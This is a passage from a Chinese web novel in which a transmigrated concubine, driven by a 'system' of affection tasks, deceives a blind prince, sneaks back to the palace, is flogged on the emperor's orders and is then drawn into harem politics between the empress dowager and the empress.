前阵子沈侯爷家缺个得力的,不知道现在找到人没有,他觉得以他十五年的管家经验肯定能胜任。
怎么说他也是稳坐京城管家头把交椅的人。
万俟镜苦恼的摇摇头,“我猜不到。”
“那怎么办呢?”我捏了块东西塞到了他的嘴里,“镜镜猜不出来我也要给奖励。”
王管家眼睛一瞪,来不及阻拦。
糟糕,来不及了,疯女人给王爷吃了垃圾。
万俟镜用舌头顶了顶,甜甜的桂花味在口中弥漫,驱散了些经年缠绕的苦气。
“很甜。”
我大方的把一整包塞进了他的怀里,“我是出去的时候偶然听说有家糖铺做的桂花糖特别好吃,专程跑了很远买给你的,所以耽搁了些时间。”
万俟镜像是信了,“辛苦了,要不要进去喝杯茶。”
我牵起他的手,“当然。”
万俟镜顺从的任我裹着他的指尖,跟着我往屋里走,听着我劈里啪啦说了一大堆这个糖有多难买有多受欢迎。
“刚睡醒就能吃到这么好吃的糖,我们镜镜今天一定又是开心的一天呢!”
我就不一定了,一想到要回宫继续做那些稀奇古怪的任务,我就想喊绿柳本宫的头好痛。
哦对了,现在我不过是区区美人,已经不配称本宫了。
我现在的心情就像是休假的最后一天,再去上班还是降职降薪的倒霉版的。
我狗腿的先扶着他坐了下来,然后紧挨着他坐下,肩贴着肩。
万俟镜听到这种类似哄孩子一样的话,哭笑不得道:“你拿我当三岁稚童吗?”
我道:“才没有!我可是拿你当大哥的。”
万俟镜:“......”
我又道:“就是某人好像有点嫌弃我,死活也不肯叫声姐。”
万俟镜:“......”
我:“唉,伤心啊,原来真正的心寒不是大吵大闹......”
“我不是嫌弃你,”万俟镜受不了似的打断我的话,“你知道我的身份吗?”
?
这还不叫嫌弃!那你知道我的身份吗!
我都不好意思笑话你,你不过也就是个异性王,历史上的异姓王有几个下场好?头有没有放在自己的脖子上都两说,指不定什么时候就被秦玦那狗弄死了,还好意思和我谈身份。
哈!我就不一样了,我爹,镇!国!大!将!军!
秦玦绝不敢无声无息地弄死我。
男人真的,没文化可怕,盲目自信更可怕。
我黯淡道:“你是淮南王殿下,身份和我确实是天壤之别,但我并不是贪图你的权势。”
“我对你是真心的。”
我当然不图你的权势,我图的是系统积分。
万俟镜道:“我不是那个意思。”
“王爷有这个意思也没关系,本就是我不知天高地厚忘了自己的身份,我不过是区区奴婢,屡次僭越已是罪该万死,王爷宽宏不与奴婢这等小人计较。”
我越说越上劲,已经带上了哭腔,“奴婢是脚下泥,王爷是天上月,奴婢既生出妄念哪怕永堕地狱也绝不后悔,可,可若是让明月染尘......”
我悲痛欲绝的趴在桌子上大哭,这演技,当初就应该报个电影学院戏剧学院啥的,不然埋没了一颗演艺界的明珠多可惜啊。
我偷笑,也偷爽。
头顶一阵温热透过发传来,我的身子一僵,不敢置信地抬头念出台词,“王爷......”
万俟镜脸上的慌乱已经藏不住,“我与皇上是表亲,我母亲与先帝元后是一母同胞的姐妹。”
我傻了,这次是真的。
“那你是......”
他道:“我是皇上的表弟。”
什么?
你是谁?
你是谁的什么?
谁是秦玦的表弟?
一道雷劈在了我身上,我从内到外焦了个彻底,“那太后就是......你姨母?”
他摇头,“太后是先帝继后,姨母生下皇上后不久便去了。”
我险些从凳子上滑下去,妈的系统,你害死我了!
万俟镜见我半天没说话,继续解释道:“我与天子有亲,怎能......怎能认你为姐。”
与天子有亲,与天子有亲,与天子......
这几个大字在我的脑子里盘旋,我不自觉的吞咽,冰冷顺着我的喉管流入五脏六腑。
怪不得秦玦对万俟镜如此特别!我恨得直想掐自己的大腿。
为什么两个男人的故事可以如此简单,简单到让人心寒。
我拽住万俟镜,“王爷,我觉得我天生就是为奴为婢的料,以后您的院子我再也不来了,我不配,王府里是不是还缺个浣衣的丫鬟,我觉得我正合适啊,三百六十行我心唯一行,我愿以另一种方式将我的生命献给王爷。”
我豪情万丈地大喊:“从今天起,王爷所有的衣服都归我洗!”
王管家:“......”
通知一下翠兰,从今天起,她要有失业危机了。
万俟镜拉住我拽他的手,“别胡闹。”
“王爷你就让我去吧。”我泪流满面如同死鱼。
“不会的。”
“王爷......”
万俟镜突然将我拉入怀中,气息不稳,“霓婉,你从不叫我王爷的。”
霓婉?谁是霓婉?
哦,好像是我来着。
你要不要念出我的姓连着读一下。
那他妈是因为你没告诉我你就是秦玦表弟啊!真是气死我了!
我哆哆嗦嗦,“那我该叫王爷什么呢?”
表弟。
他的下巴在我的头顶轻轻蹭了蹭,“以前叫我什么,现在就还叫我什么。”
我的手抵在他胸前,“第一次见您是在树下,您很好看,也很落寞,我就想单纯的陪您上片刻,所以我没问您的姓名。”
“第二次见是我误闯进水月阁,您坐在案前看着灯火,还是一个人,我心知您身份非凡便叫您一声大人。”
“后来,我被带到这里知道了您的身份,这华丽的王府将冰冷留给了您一人,我心疼,想着做王爷原不过如此。”
“王爷我不敢肖想,可镜镜却能有人陪着,我想着两个人一起的话,日子会不会就能好过许多,毕竟,我与您一样……。”
“都是一个人啊。”
不知为何,万俟镜突然笑了出来,他低低的笑了好久,像是释怀又像是嘲弄。
“是啊,一个人。”
一个看不见的世界里,除了自己,还能有谁呢。
“镜镜,”我推开他,看着那双静丽有缺的眼睛,“以后你会更开心,一切都会变好的。”
他点头:“嗯。”
我的手轻轻摸上他的脸颊,“我累了,想休息了。”
表嫂要去找你表哥了。
“嗯,如果很累的话,你可以......”
他想让人留在这里休息。
我抢道:“我想回自己那儿换身衣裳。”
万俟镜不疑有他,“好,晚上一起用饭吧,我让人做些你爱吃的。”
我重重地点头,踏出屋门前又回头看他一眼。
“镜镜,再见。”
他的梨涡一闪而过,“晚上见。”
王管家看着逐渐远去的背影,心里觉出些不对,一种不安的感觉攀升。
总觉得这女人要卷钱跑路了。
红枝坐在门口嗑瓜子,见我回来赶忙吐掉嘴里的瓜子皮,“小姐,您昨天晚上去哪儿了?”
我径直往内屋走去,她一头雾水地跟着我,走到相对安全的地方,我认真地看着她。
“红枝,我要回去了。”
她:“回去?回去哪儿?您不刚从外头回来吗?”
我被噎了一下,疼痛文学的气场被打散大半。
“你怎么一天到晚的就是不能带个脑子呢,我当然是要回我该回的地方去了。”
她“哦”了一声,呵呵笑了,“因为我浑身上下都被吃的装满了。”
“该回的地方?那是哪里啊?”
我抓狂道:“当然是后宫了!”
就不该把她从周家带出来的,跟着就知道添乱和气人。
我随便交代了个任务支走她,叫她嗑够五百个瓜子再进来。
她向我争取,说能一口气嗑一千个。
最后成功领着升级了的任务欢天喜地地跑了出去。
两个时辰后,我收拾好走出屋门,看着坐在门槛上的红枝,她的脚下已经铺了厚厚一层的瓜子壳。
我微笑,“嗑完了吗?”
她挠挠头,“我也不知道,每次嗑到二百左右我就老数错
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,数着数着就数回去了。”
我抬头望天,“走吧。”
她圆眼瞪大,”去哪儿啊?”
我:“......”
“从现在开始,你一句话也不要说,跟着我就行了。”
我呼唤出了我的外挂,“系统,你有没有什么办法绕开万俟镜的暗卫和眼线把我带出去?”
系统:“目前触发隐藏任务:万俟镜、乔云州、宋竹年,万俟镜好感值80,乔云州好感值98,宋竹年好感值5,积分已入账183,商店兑换道具:十全十美大补汤、假死丹,价格共计70,积分余额113。”
“屏蔽踪迹一人100点积分,是否选择购买。”
我怒斥:“这么贵!你直接去抢好了!”
系统:“是否选择购买。”
“......是。”我咬牙,“买我一个人的就行了,红枝被发现不要紧。”
系统:“......”
我成功从王府里绕了出来,来了这么久这还是头一次走大门,光明正大的感觉真的很爽。
路上经过的人都察觉不到我的存在,甚至撞上了同样出门不知道要干什么去的王管家,他也只是往红枝的方向多看了一眼。
我带着红枝登上了早就等在了王府外一处不起眼的地方的马车,撩开帘子,乔云州罕见地穿着一身黑衣坐在里面。
想起了惯穿玄衣的某人以及即将面对的狂风骤雨,我的头成功地提前疼了。
“你穿的这是什么晦气衣服!”
乔云州冷哼一声,闭上眼不愿搭理我,浑身上下散发着一种“心情不好,闲人勿扰”的气场。
与他如出一辙的还有我,我生无可恋地靠在车壁上,期盼路途可以远一些,再远一些。
过了很久,乔云州声音嗡嗡的,“还有什么要说的吗?”
!!!
我猛地睁大眼,“哥你别说这种话行吗?我求你,真的很吓人。”
乔云州冷眼看着我,“现在知道害怕了,你回去不会有好果子吃的。”
我:“可是我不回去就没果子吃了。”
乔云州气不打一处来,“谁让你当初进宫的!”
就是!哪个王八羔子让我进宫的,我现在什么都不记得了,连把他找出来大卸八块的机会都没有。
“乔乔,云州,我真的好害怕啊。”
两行清泪划过,我仿佛是一根即将面对疾风骤雨的小草,他粗暴地用袖子帮我擦掉眼泪。
“那怎么办?我帮你想想办法行吗?”
我吸了吸鼻子,“不行,要是皇上发现我和你的关系,那我才真的活不成了。”
乔云州往我的位置挪了挪,心疼地把我手心的冷汗一点点擦干净,“你现在也未必就一定活得成。”
我垂死挣扎道:“一日夫妻百日恩。”
他狠狠地在我身上拧了一下,听到我痛呼出声才收手。
“你是他的妻吗?”
我泪眼汪汪地揉着被他掐的痛处,“连你也嘲笑我就是个美人吗?”
“我不是嘲笑你,周妧,我是真的想不明白你为什么会入宫。”乔云州自嘲地笑了一下,“你一直在回避这个问题,连个解释都不肯给我。”
我低下头,“乔乔,我有必须要回去的难言之隐,哪怕你愿意不惜一切代价护我,周家也愿意不惜一切代价护我,我也必须得回去。”
乔云州的薄唇悲切地抖了一下,“我知道了。”
我搂住他的脖子,柔软的面颊贴上他的,“但是乔乔,如果有重来的机会,我想我不会再愿意进宫了。”
“我后悔了......”
我哽咽,望入他的眼底,“......你还愿意原谅我吗?”
乔云州又在我胳膊上掐了一下,比刚才那下还狠。
我“嗷呜”了一声,还没来得及痛骂他神经病,他的泪珠子就先掉了下来。
“周妧你就是个王八蛋!”
我不可置信,“你为什么要骂我爹?”
乔云州:“......”
他捂住我的眼睛,我以为他只是不想让我看一个男人再三流泪的样子,却不知道,他真正不想让我看到的是经年累积的磅礴爱意。
流淌的热意,爱有多少,绝望就有多少。
“周妧,我听你的,你不让我帮,我就不会插手,但是你不用怕,出了意外不用怕,死也不用怕,我都陪着你。”
同样的话,乔云州说给我听的不知道比我说给万俟镜的要情真意切了几万倍。
我说出口的我自己都不相信,那乔云州说的呢,我信吗?
我平静地和他对视许久,照着他就是一拳,“胡说八道什么呢!我才不会死!”
再远的路也总能走到头。
我靠在乔云州身上,直到马车停下来外面的车夫提醒:
“公子,我们到了。”
乔云州的手攥紧又松开,他在我的发间落下一吻,替我整理了一下头发和衣衫,“去吧,别怕。”
我抱住了他,使劲的嗅着他身上的香味,心里多了些安全感,然后头也不回地下了马车。
我知道他一直在身后看着我,我不能回头,也从不回头。
有些坚定过的不再坚定,死的就会是我自己。
这本来就不是我的世界。
得回家啊。
一太监打扮的人自宫门口的暗道走出,“周美人,皇上已等候多时了。”
20. 突发状况,暂停任务
我这一生如履薄冰,终于还是快走到了尽头。
一顶软轿避开后宫众人走在隐秘的宫道上,偶有风掀起一角,可以窥见太阳西沉。
琉璃瓦上璀璨的金光暗下,夜色侵吞红墙,竟让人恍然觉得这是喷溅上去的大片鲜血。
皇宫此时就像是个从沉睡中幽幽睁眼的巨怪。
我缩了缩脖子,“系统,你说秦玦生气了吗?要是他真发疯了,你能立刻把我救出去的吧,实在不行就花积分,多少积分都可以。”
不知为何半响没有答复,我点开许久未层去过的系统界面,看到了五个大字。
系统升级中。
区区五个字,让我的后背瞬间湿了个透,控制不住的打了个寒战。
天要亡我啊!
我双腿发紧,就跟被人从身后上好发条一样,很有不顾一切向前冲的冲动。
掌心的冷汗打湿身上的襦裙,这个时候我又悲催地发现穿的衣服是乔云州给我的。
这条裙子绣着娇艳的海棠花,针法工艺巧夺天工,袖口、腰侧和裙摆都镶嵌着名贵的宝石和珍珠。
早上穿的时候就担心会惹出是非,想着万俟镜看不见又是乔云州的一番心意,咬牙就收了。
苍天啊,为什么要为难一个只是不忍心拒绝别人好意的善良小女孩。
我双手合十,信女愿用乔云州这辈子没人要换秦玦不会深究这身衣服。
软轿被放在地上,除了风声什么也听不到,我抱住自己的头缩成一团,将那个草率出宫的我在心里骂了一千遍一万遍。
外面有多寂静,我的心就有多凉。
为什么是今天,为什么不是昨天,为什么不是明天。
我到底为什么今天要回宫!!!!!!
乔乔,你现在能不能过来接我回去啊,我想你了,没有你的夜真的好冷。
拖到不能再拖,我哆哆嗦嗦的弓着身子出去,从软轿上下来的时候腿一软差点直接跪在地上。
顺着明亮的宫灯和三步一个的侍卫一路向上望去,大殿门口内侍官们整齐地站着,像是墓道旁的石像生。
两旁的侍卫比他们佩戴的长剑更冷肃,我慢慢朝着大殿的方向走去。
整个过程安静到诡异,只有我身上的配饰叮当作响,一路上甚至连个看我一眼的人都没有。
我的脑子里已经是一团浆糊,眼前只有一盏盏亮着的灯,那些光点晃动,直到站在李居怀的身前,我的视线才微微聚焦。
“李公公......”
李居怀叹息,“美人,别让皇上等太久。”
“李公公,皇上很生气吗?”
他摇摇头什么都没说,只是伸手帮我推开了大门。
想着李居怀最后看我的那个充满同情和无奈的眼神,我腿软的像豆腐,抬脚被门槛绊倒,跌伏在地上。
李居怀赶忙捞起我,替我在裙摆上拍了几下。
我硬着头皮走进内殿,堪堪看到那个人模糊的轮廓就立刻跪下行了大礼。
“周妧参见皇上。”
这大概是我来到这个世界后头一次正视秦玦这个人。
君王的含义在此刻具象化。
他独坐高台,我伏入尘埃
他不喊起,我就连头都不能抬。
烛火偶尔跳动,光影交叠,此时他应该是在翻动奏章。
我听着纸张扇动的声响,在脑海中勾勒着离宫前那晚他伏案的模样。
渐渐响起的抽泣声打破殿内的安宁,我的泪滴滴答答的落在地上,逐渐积成了一小摊水迹。
我承认现在就哭可能有点丢人,但我担惊受怕了一个晚上,现在又跪了这许久,膝盖和后背都实在疼得厉害,必须得铺垫一下,给秦玦个台阶。
秦玦这狗东西居然真这么狠心。
有种你就打死我!
又过了不知道多久,我的腿每动一下都能传来针扎般密密麻麻的痛感,秦玦终于起身,他绕开我走了出去。
我松了口气,不搭理我好啊,时间久了他冷静下来总能消气。
我的头将将抬起来,突然从外面进来两个宫女按着我的肩将我拖到殿外。
?
皇宫大院,天子脚下!
你们要干什么!
在我还没想出来将要发生什么的时候,我就已经被拉扯着趴在了一条春凳上。
膀大腰圆豹头环眼的内侍站在我的身侧,手执一掌宽的长板。
!!!!!!!!!!!!!!!!
不是吧!
不是那个意思吧!!!
秦玦他——
真的要打我?!!
恐惧使我爆发出了前所未有的力量,我挣扎得像是条刚碰到毡板的鱼,那两个宫女差点都没摁住。
“皇上呢,我要见皇上!”
只要秦玦不出现,我就还有希望,我不信他——
一把雕龙纹的紫檀木椅被搬到我面前五步开外的位置,秦玦撩开衣摆坐了上去。
宫殿的光漏了出来,秦玦坐在我面前,一半在光明里,一半在黑暗中。
一半我熟悉,一半我陌生。
让我心惊的美终于在此时摁着我向我讨要代价。
如初次见面时一样冷冽,一样的尊贵不容侵犯。
“皇上,皇上,”我向前伸手想要够他,嗓子里已经出现了哭音,“我知道错了,我真的知道错了......”
他妈的系统,你升级好了没有,我要挨揍了!!!!
快出来啊!!!!!
秦玦略抬下巴,板子便高高扬起后再落了下来。
厚重的板子撕裂空气发出了骇人的声响,但比那更悚然心惊的是炸在我身上的那一刻。
草!!!!!!!
炸裂般的剧痛蔓延全身,我几乎是立刻就掉出了眼泪,腰部被固定住无法起身,我的指尖狠狠的抠住长凳边缘尖叫出声。
“啊——”
尚未分辨出这是否是人的身躯能够承受住的痛楚,又是几板子,打一下顿一下,让尖锐的疼痛直接成倍累加飙升。
我牙关颤抖,险些咬到自己的舌头,腥气自脏腑上涌,嘴里已经涌出血沫,连板子什么时候停了下来都感觉不到。
秦玦表情不明:“你是谁。”
我呼出一口气,盯着他投到石砖上的影子,凌厉的线条透漏出这位君王的无情,我身上控制不住的一阵阵痉挛,“我......我是......我是周妧......”
你他妈!!!!!我是你爹!!!!!
“继续打。”
又是几板子落下,空气中飘起了浓重的血腥味,那些早上我还觉得很漂亮的珠饰泡在血里掉了一地,我已经连喊的力气都没有了,眼前飘起雪花,下身麻木,仿佛处在剧痛之中,又仿佛一点也不疼,整个人汗涔涔的像是刚从水里捞出来。
秦玦踩过散落的珍珠走近,漠然地俯视着我。
我努力抬头,想要看清他的面容,却只有模糊一片,“许久未见,皇上身子可还康健……嘶……心情可还舒畅……”
“你是谁。”
我咬牙坚持:“我......我是周妧......”
是男人你就——
“继续打。”
妈的,我吞下一口血沫,意识被打的已经开始溃散。
他一遍遍的打一遍遍的问,无非就是想用皇权逼我认清自己的身份,让我知道我不过是天家的财产、皇上的妃妾。
可我不能是这样的,我要完成任务,我要得到秦玦的爱,我要......回到真正属于我自己的地方。
我一定要回去。
没等到他问出第三遍我突然喷出了口血两眼一翻晕了过去。
但这局又是我赢了。
等我再醒来已经是三天后,我趴在玉阳宫的大床上费力的睁开了肿胀的双眼,嗓子又干又痛,整个人沉浸在血腥味中,不知道是喉咙里的还是鼻子里的。
“......有......有人吗?”
听到声响,绿柳跑了进来,还有一入宫就被扣下的红枝。
“美人,您怎么样了?”绿柳一下子就哭了。
我怎么样了,我快死了。
狗日的秦玦,这个仇我记下了!
此仇不报就让我这辈子看见帅哥都没感觉!
“我......我离开......的这段时间,皇上没有......为难你吧。”
每说一个字我都得停下来歇一歇以抵御全身的剧痛,一句话说完我已经冒出了一头冷汗。
绿柳心疼地落着泪拧了帕子帮我擦拭,“美人不用担心我,皇上并没有处罚奴婢,只是李总管过来问了几句话。”
我胡乱点头让二人先出去忙,现在谁和我多说一句话都是在要我的命。
靠,这伤口怎么这么疼!止疼药呢?布洛芬呢?赶紧给我上链接啊!
系统仍在升级中。
……
反派!这才是最大的反派啊!
就这样,我像条病狗一样在床上趴了十来天疼痛才开始有减弱的迹象,当然,我人虽然已经负伤,嘴却没有闲着,前前后后将秦玦的祖宗十八代问候了个遍。
顺便问候了一下乔云州的,反正闲着也是闲着。
谁让那天他那么轻易的就放我回宫了,说好的霸道总裁强制爱呢。
在古代就真的没有比皇帝更大的官了吗,到底
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谁能替我也打秦玦一顿出出气。
我愿意支付乔云州一半的财产,外加本人一句真挚的感谢。
第十天,我又在绿柳给我换药的时候成功被疼哭,这种戏码每天都要上演个两三遍。
玉阳宫的人都已经见怪不怪,眼皮都不抬一下的该干什么干什么。
白天睡的多了,晚上就有些难以入眠。
我挂着泪趴在枕头上继续看话本,直到一道阴影悄无声息的笼罩下来。
因为我看的比较入神就没有及时发觉,那道阴影也一直纹丝不动。
在灯芯快要燃尽发出噼啪声时,我抬起头,却看到了从那日起便再也没有见过的男人。
第一反应是扯过被子将自己裹得严严实实的。
刚刚他的样子在眼前一晃而过,我清楚的看到了他眼下的阴翳以及一脸倦色。
与那日的玉面罗刹已相去甚远,或许那日他就是这个样子,只是天色太晚,我看不真切。
秦玦将被角理齐整,“小心些,别扯到伤口。”
要不是你,我不会有伤口。
“不想见你。”我躲在被子里说。
寂寞的夜里,我只想做一只自己舔舐伤口的小兽。
别低头,王冠会掉;别流泪,秦玦会笑。
他许久没有说话,我将被子掀开一条小缝看了过去却被逮了个正着。
同样,我也捕捉到了他眸中未及时藏起的沉郁。
心疼了吧,该!谁让你这暴力狂打的这么狠!
嘶,疼死我了!
他叹了口气,似是想转身离开,我猛地探出身拽住他的衣袖,动作过大扯到伤口让我痛呼出声。
秦玦赶忙扶住我,喝道:“你做什么!”
我看着他委屈道:“你这就要走了吗?”
这算什么?好歹过来手不能空着吧。
你这看了一眼就想走,真当是领导慰问基层呢。
秦玦蹙眉,“你不是不想见我吗?”
那天我嚷嚷着错了的时候你聋了一样的听不见,现在耳朵倒是又好使了起来。
我不想见你就要走,那我想当女皇你走不走?
我的手捶在床上,“我被打的这么重你还不允许我生气一下,你怎么这么狠心......”
秦玦默了好一阵才坐到床边,他的手抬起,在空中停滞了一下,轻缓的落在我的脸上,拭去我颊边的眼泪。
“周妧,朕对你够仁慈的了。”
若不是那十五大板放了足足的水,她此时还焉有命在?
她那般对他之后,第二天头也不回的就出了宫,秦玦简直不想回忆那天晚上他去玉阳宫找她却发现已经人去楼空时他的心情。
他杖毙了玉阳宫内所有的宫人。
后宫妃嫔擅自离宫一旦被发现那就是满门抄斩的死罪,他又惊又怒,却不得不替她捂着。
除了绿柳,那是个对她忠心的,忠心的人在后宫不多见,关键时刻或许能够以命相护,他得给她留个能护主的忠仆。
吓也吓了,打也打了,她遭了这么大的罪,那擅自出宫的事......便作罢吧。
总不能真要了她的命。
我看着秦玦眸中跳动的情绪,拉过他的手,在唇边碰了碰,“好疼......”
去你妈的仁慈,那我出门一趟就给你戴了区区两顶绿帽子,我也够仁慈了。
按照我以往的水平,那都得至少十二个起。
“那就不要动,也少扯着嗓子嚎。”
“皇上打的这么狠,我伤心了,您也不知道拿些礼物来哄哄我。”
“......你想要什么?”秦玦难得没有呛声。
我看着他,神色认真,“皇上别生气了好不好,打过了皇上就原谅我吧。”
秦玦的手落在我的脊背,我装作疼到了的样子哆嗦了一下,他很轻的抚了抚,像是在我背上落了根羽毛。
“好。”
我观察了一下他的神色,觉得他气应该消了大半,又小心的开口:“那皇上能不能再给我升升位分?”
万俟镜,方鸢,你们这群势利眼的小人都给我等着!
这一次,我要拿回属于我的一切。
“好。”他没有停顿。
嗯?这么好说话吗?知道自己是罪人了吧,是不是每天半夜都要后悔的坐起来给自己一耳光。
我得寸进尺:“在我伤好前,皇上来后宫的话能不能只歇在玉阳宫别去找别人?”
“我想多见见皇上,皇上在,我的伤口就不疼。”
赶紧完成任务走人,这该死的封建社会我真是一天也呆不下去。
秦玦的手指从我鬓角蹭过。
“好。”
21. 用廉价的爱完成任务
自从秦玦答应了我的三个条件之后,我的日子过得那叫一个顺风顺水。
系统成功升级回来后被我痛批了一顿,它冷眼看着我跳脚,像个渣男一样就说了一句话。
你要是非得这么想那我也没办法。
哈,它会没办法?鬼才信!
系统:“一顿打而已,你也不是一无所获。”
我:“你不能因为你不是人就不说人话吧,就连谭津这个人,当初我给他惹了小麻烦,最严重也就半个月没理我而已,到了这儿,头一次挨打啊!奇耻大辱啊!”
谭津,一个自小循规蹈矩的世家继承人。
人生唯一的意料之外大概就是遇见了我。
当时我正被上司为难,作为合作方的他为了保持某些被培养在骨子里的美德和品质,不得不解救我于水火之中。
后来我也回报了他,加班后请他吃深夜的打折饭团、带他去京郊看别人庆贺的免费烟花、在孤独但不寂寞的清晨散步沾染一身的水汽……
我常常觉得他也很穷,也需要谋生,否则不会爱上我,仅仅因为一些廉价的东西。
所谓的小麻烦,也不过是我和另一个男人偷情被拍,这不能怪我,谁叫那个男人是当红明星,他是闹剧的主角,我是被殃及的陪衬。
谭津的歇斯底里是认为我不配轻贱他的感情。
这可把我逗乐了。
毕竟当时,我的上司只能算是第三者,而谭津是从第三者手中把我抢来的。
系统:“不是头一次吧。”
我:“?”
系统:“你不是经常挨社会的毒打吗?”
我:“……”
够了,不要再提醒我了。
人活着就是要得过且过,而不是为了秃头但不光头的短腿老板卖命。
我业绩表上的良好,会成为他体检表上的三高。
我就这样舒舒服服地躺在床上养伤,直到过得太舒服被太后叫去问话。
说是问话,其实就是挨骂。
而且不是被一个人,是被一群人。
后宫里但凡还能喘气的妃嫔几乎都来了,有一个甚至连身子都直不起来靠在宫女身上平均每三秒钟拿出帕子捂嘴咳一次。
我,......
突然好想戴口罩是怎么回事。
大姐,就你这样的还不赶紧躺床上趁自己还有点劲儿多吸几口天然氧气,来这儿瞎凑什么热闹,你还跟她们一块蛐蛐我,你看你看,还瞪,小心一口气喘不上来再一命呜呼喽。
太后拍案:“周氏!你可知罪!”
周氏?
我扭头四处看了看,“周氏?谁是周氏啊?”
众嫔妃看着全宫里唯一一个姓周的,“......”
太后:“......”
她怒极指着我,“反了反了,你居然敢顶撞吾。”
我从椅子上下来跪到地上,用手帕擦了擦莫须有的眼泪。
“冤枉啊太后,前阵子皇上恢复了我的位分,臣妾太高兴了,竟一时忘了自己姓周。”
周氏周氏!周是娘娘了,敲黑板,我现在又是周妃了,大家都注意点我的身份!不叫清楚我是不会答应的。
太后冷笑出声,“好啊,好啊,周妃娘娘,你这是有了皇帝做依仗便不把吾放在眼里了是吧。”
我惶恐道:“臣妾不敢。”
没有皇上做依仗我也不把你放眼里,你又不是我的任务对象,我忙得很。
太后:“你不用在这儿装疯卖傻,吾问你,当初你从冷宫出来跪在这儿是怎么说的。”
你怎么还不得老年痴呆!
我声若蚊蝇:“臣妾说太后若肯抬举,臣妾定能好好服侍皇上。”
一个茶盏被砸在了我的脚边。
虽然是假娘俩,你和秦玦倒是怪心有灵犀的。
后宫的杯子们见着你俩都得绕道跑吧。
“你说你定能怀上龙嗣!”她提高音量。
众妃嫔怒目而视,对!害得她们连夜往家寄了书信,生怕这狐狸精从外面弄了什么偏方进来。
我无辜垂泪,“太后明鉴,臣妾确实夜夜都在努力的侍奉皇上,只是......”
我即使咬唇,眼神骤然惊恐,有些话没说又像是说了,不言自明。
众妃嫔同时惊恐。
我坦然与四处射来的目光对视。
别打听,对你们没好处。
太后气的直哆嗦,“放肆!放肆!”
她身旁的一个老嬷嬷赶忙拍背帮她顺气。
太后喝道:“来人!”
外头的太监突然通传:“皇后娘娘到——”
太后正想让人赏周妧几个耳光,没想到这场热闹倒是引来了个意料之外的人。
“皇后怎么过来了?”
我八卦之魂觉醒,不顾太后的眼神威压,悄悄抬头看了看这位传闻中的皇后。
她有着让人晃眼的不输秦玦的颜色,此刻脸上挂着温和的笑意,看起来很好相处,她略扫我一眼,对太后躬了躬身,“今日身上好些,便赶来向母后问安。”
太后眸中闪过精光,“跪着的是周妃,皇后还没见过吧。”
闻言,皇后认真的打量了我一番,“确实还是头次见。”
太后笑道:“你没见过不要紧,皇上倒是恨不得日日都见。”
皇后不赞成的正色道:“皇上忧心朝政,哪有什么时间耽搁在后宫上,若是终于得了个可心的,咱们自然不能过于苛责,您说是不是?”
两个人实现交汇,闪出劈里啪啦的火花。
太后脸上闪过一抹厉色,捏了捏手中的串珠,“是啊,皇上膝下无子,这么多女人里总得有个中用的,吾就盼着早日抱皇孙呢。”
这话几乎是当着所有人的面明晃晃打到了皇后的脸上,众人屏息,不敢多言。
皇后却依旧风轻云淡,甚至还悠闲地喝了口茶。
“后宫的事都是贵妃代为打理,既然母后觉得众姐妹有错,想必是诸事繁杂贵妃精力有限。”
她状似为难地叹了口气,“臣妾身子不好,就让周妃协助吧。”
本来跪在地上昏昏欲睡的我听到自己的名字顿时一个激灵,不要啊!!!我不想干活!!!
我“激动”地抬起头,众妃嫔“友好”地看向我。
大家“喜上眉梢”,一团晦气。
我害怕地低下了头。
众妃嫔心里骂骂咧咧,这个疯疯癫癫的贱人!每次来太后宫里都能白捡到好事,下次太后要是再想召见她,别管什么理由,都给赶紧拦下来!
事情最后当然是以皇后四两拨千斤大获全胜离去,太后看着她的背影,险些咬碎了牙。
居然被姜令虞这个病秧子将了一军,贵妃可是她的娘家侄女,岂是周妧这种无赖可以比的!
我无辜地跪在地上,又被指着多骂了两个时辰。
像是一个霜打的烂茄子。
众嫔妃也七嘴八舌跟着附和,说到最后恨不得连宫里的鸟多叫了两声、树上少掉了几片树叶、太后晨起打了喷嚏这种事都赖在我身上。
最后一个我承认,因为今天早上我确实骂了她。
好不容易捱到结束,我垂眉耷眼被吸干了精气一样的飘了出去。
快,我要回到我温暖的小床上充电!
忍气吞声了大半天,我马上就要碎掉了。
在即将看到玉阳宫宫殿牌匾放飞自我的前几秒,一个宫女从一旁走了过来,毕恭毕敬截住了我。
“周妃娘娘,皇后娘娘有请。”
我碎了。
魂儿掉在了原地,身体又被牵走了。
人就是不能活太久,现在连我的身子都不完全是我的了。
脖子上又被一条看不见的绳牵走,我已经是行尸走肉。
长秋宫。
妃色衣裙的女人半挽起袖子整理着晾晒在石桌上的书籍,她娇艳的面容上带着挥之不去的病气,不时直起腰拭去额上晶亮的汗水,凤冠被摘下来随意地放在一旁。
我走了过去,“拜见皇后娘娘。”
她手上的动作没停,一点点抚平书页上的褶皱,“起吧。”
长秋宫是皇后的居所,其规模和奢华程度都远不是其他宫殿可以比的,亭台楼榭无一不精妙。
宫女们散在四周的宫墙下,既不会打扰到她,又方便她有事传唤。
她站在世上最浮华的地方,举手投足间又带着不食人间烟火的仙气。
这位皇后,可以说是与秦玦一同长大的青梅竹马,姜令虞,倒是和我想的不大一样。
我:“皇后娘娘都这么尊贵了,居然也会干粗活?”
她低着头,“人动一动,才能觉得自己还活着。”
我的目光放在了离我们最近的宫女身上,她们的肩侧有几块衣料颜色深深浅浅,以及不明显的白色汗斑
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。
像是人生拼命想藏又藏不住的秽迹。
你猜,她们为什么不想动呢。
她拿出手帕,身旁最近的宫女就赶忙替她擦净薄汗。
我道:“今日娘娘为何帮我?”
皇后只是看了我一眼,“你觉得为何?”
我一脸本该如此,“路见不平拔刀相助?”
她噎了一下,展颜,“算是吧。”
我劝了几遍让她歇会儿她也不听,我就让人搬了把椅子,找了个阴凉地吃冰镇西瓜。
“娘娘,一会太阳就要落山了,你得往西北挪挪。”
长秋宫宫人:......
——
秦玦进来的时候看到的就是这幅画面。
刚能下床没几天就敢跑到皇后宫里张牙舞爪,看来当初还是打轻了。
“周妧!”
我抬头,秦玦正快步向我走来,我将手中的一牙西瓜藏至身后,将扔在脚下的瓜皮偷偷踢出去,没承想正好踢到他的脚边,险些就让他踩了上去。
哎呀,我一脸无辜地看着他。
秦玦的眼睛眯起来,浑身上下都弥漫着寒气,“周!妧!”
别以为他没看到,她就是故意的!
我从椅子上跳起来,开心的想迎上去,秦玦却不再看我,转过身对皇后说:
“皇后今日好些了?”
她依旧是不甚在意的模样,淡笑,“多谢皇上关怀,臣妾好多了。”
我戳了戳他的后背,“我也好多了。”
秦玦瞪了我一眼,“朕跟皇后说话,你插什么嘴!”
脸上写着不满,手却拂去粘在我脸侧的西瓜籽。
“看看你像什么样子!”
